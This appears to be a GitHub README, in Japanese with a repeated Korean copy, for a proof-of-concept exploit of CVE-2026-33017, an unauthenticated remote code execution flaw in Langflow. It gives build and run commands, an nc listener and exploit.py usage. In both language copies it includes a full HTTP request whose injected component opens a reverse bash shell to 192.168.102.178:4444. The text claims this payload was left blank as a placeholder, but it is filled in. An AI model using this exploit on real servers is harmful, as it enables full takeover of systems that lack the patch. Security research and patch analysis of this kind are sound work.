★ CVE-2026-33017 Langflow Remote Code Execution PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
以下のコマンドを使用して、脆弱なLangflow環境をビルドして実行します。
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
脆弱なLangflowインスタンスを起動した後、ターゲットURL、PublicフローID、攻撃者のコールバックアドレスを指定してPoCを実行します。
オプションA — 独自のリスナーを使用する場合:
# 端末1: リスナーを起動
nc -lvnp 4444
# 端末2: エクスプロイトを実行
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
オプションB — 組み込みリスナーを --listen で使用する場合:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
CVE-2026-33017 は、LLMアプリケーションやAIワークフローを視覚的に構築するためのオープンソースプラットフォーム Langflow のPublicフロービルドプロセスにおける リモートコード実行(RCE) の脆弱性です。
攻撃者はbuild_public_tmpエンドポイントに対して認証なしで細工されたフローデータを送信することで、サーバー上で 任意のPythonコードを実行 させることができます。
CVE-2026-33017 は、LLMアプリケーションやAIワークフローを視覚的に作成するためのオープンソースプラットフォーム Langflow の以下のPublicフロービルドエンドポイントに影響します。
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflowにおける Publicフロー は、リンクなどを介して他のユーザーと共有できるように設計されています。
この機能をサポートするために、ビルドエンドポイントは認証を必要とせずにフローを実行可能な状態に準備します。フローのノード、エッジ、設定を読み取り、実行に必要な内部実行グラフを構築します。
問題は、脆弱なバージョンの build_public_tmp が、サーバーに保存されたPublicフロー情報だけでなく、リクエストボディに含まれる data フィールド も受け入れていたことです。
この data フィールドには、以下のようなフロー定義全体を含めることができました。
その結果、攻撃者は認証なしのリクエストを使用して、サーバーに保存された正当なPublicフローに依存する代わりに、攻撃者が完全に制御するフロー構造を注入することができました。
この設計の中で特に危険な部分は カスタムコンポーネント 機能です。
Langflowでは、コンポーネントは入力処理、モデル呼び出し、出力生成などのタスクを担当する個別の機能ブロックを表します。カスタムコンポーネントは、ユーザーがその動作を Pythonコード で直接定義できる拡張可能なブロックです。
したがって、攻撃者は細工した data オブジェクトの中に 悪意のあるPythonコード を含むカスタムコンポーネントを埋め込むことができ、サーバーはそれをフローの正常な一部として処理します。その結果、注入されたコードはビルドまたは実行プロセス中に解析・実行され、最終的に リモートコード実行 に至ります。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | Langflow 1.9.0 未満 |
| 修正済み | Langflow 1.9.0 以上 |
GitHub Security Advisory では影響範囲は
<= 1.8.2とされていますが、修正(dataパラメータの削除)は 1.9.0 で行われました。したがって、1.9.0 より前のすべてのリリース(1.8.3 / 1.8.4 を含む)が影響を受けます。そのため、CVE レコードは< 1.9.0と記載しています。
この脆弱性が悪用されると、攻撃者はLangflowサーバーを制御し、以下のような追加の行動を実行できる可能性があります。
以下のPoCは、Langflow 1.8.1 における CVE-2026-33017 を示しています。
攻撃者はまず、ターゲットとなるPublicフローの flow_id を特定します。

攻撃者は、Python code が一時ビルド中にサーバー上で実行される カスタムコンポーネント を注入する build_public_tmp リクエストを送信します。以下のリクエストでは、code の値はプレースホルダーとして空欄になっています。ペイロードは自分で挿入してください(リクエストの下の注意を参照)。
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
ビルドプロセス中に、カスタムコンポーネントに埋め込まれたコードがサーバー上で実行されます。リバースシェル(exploit.py によって自動化)を使用すると、攻撃者のリスナーへの接続が確立され、攻撃者はサーバー上で任意のコマンドを実行できる対話型シェルを取得します。

build_public_tmp は Publicフロー をビルドするために設計されていましたが、脆弱なバージョンではリクエストボディから data フィールド を直接受け入れていました。
この設計のため、攻撃者が提供した data はサーバー側のビルドロジックに直接渡され、カスタムコンポーネントに埋め込まれた Pythonコード は正当なフローの一部として処理されました。
その結果、攻撃者はサーバーに保存された元のPublicフローに依存する必要はなく、自分自身で作成した完全に悪意のあるフロー定義 を注入することができ、そこに含まれるコードがサーバー上で実行される可能性がありました。
パッチ後、build_public_tmp は外部から提供された data を受け入れなくなりました。
言い換えれば、以前は攻撃者がリクエストボディを介してフロー定義全体を注入できたパスが削除され、悪意のあるカスタムコンポーネントによる任意のコード実行も防止されました。

73b6612e3ef25fdae0a752d75b0fabd47328d4f0CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이build_public_tmp엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.
CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.
문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.
이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.
즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.
이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.
공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.
| 구분 | 버전 |
|---|---|
| 취약 버전 | Langflow 1.9.0 미만 |
| 패치 버전 | Langflow 1.9.0 이상 |
GitHub Security Advisory는 영향 범위를
<= 1.8.2로 표기하지만, 실제 패치(data파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를< 1.9.0으로 명시한다.
이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.
아래 PoC는 Langflow 1.8.1 환경에서 CVE-2026-33017을 재현하는 예시이다.
공격자는 공격 대상이 되는 Public 플로우의 flow_id 를 먼저 파악한다.

공격자는 커스텀 컴포넌트의 Python code가 임시 빌드 과정에서 서버에서 실행되도록 조작한 build_public_tmp 요청을 전송한다. 아래 요청의 code 값은 자리표시자로 비워 두었으며, 페이로드는 직접 채워 넣어야 한다(요청 아래 안내 참고).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
빌드 과정에서 커스텀 컴포넌트에 포함된 코드가 서버에서 실행된다. exploit.py가 자동화하는 리버스 셸 방식을 사용하면 공격자 측 리스너로 연결이 수립되어, 공격자는 서버 상에서 임의 명령을 실행할 수 있는 대화형 셸을 획득한다.

취약 버전의 build_public_tmp 엔드포인트는 Public 플로우를 위한 빌드 API 임에도 불구하고, 요청 본문에서 data 값을 직접 받을 수 있었다.
이 설계 때문에 공격자가 전달한 data는 서버 측 빌드 로직에 그대로 반영되었고, 그 내부에 포함된 커스텀 컴포넌트의 Python 코드 역시 정상 플로우 구성 요소처럼 처리되었다.
결과적으로 공격자는 서버에 저장된 원래의 Public 플로우를 따르지 않고, 자신이 만든 악성 플로우 정의를 그대로 주입할 수 있었으며, 이 안에 포함된 악성 코드가 서버에서 실행될 수 있었다.
패치 이후에는 build_public_tmp에서 더 이상 외부 요청으로부터 data를 받지 않도록 수정되었다.
즉, 공격자가 요청 바디를 통해 플로우 정의 자체를 주입하는 경로가 차단되었고, 이로 인해 커스텀 컴포넌트를 통한 임의 코드 실행 또한 불가능해졌다.

73b6612e3ef25fdae0a752d75b0fabd47328d4f0| オプション | 説明 |
|---|
--url | ターゲットLangflowサーバーのURL |
--flow-id | 共有PublicフローのUUID |
--lhost | 攻撃者のコールバックIP |
--lport | 攻撃者のコールバックポート |
--listen | 外部の nc の代わりに組み込みリスナーを実行する |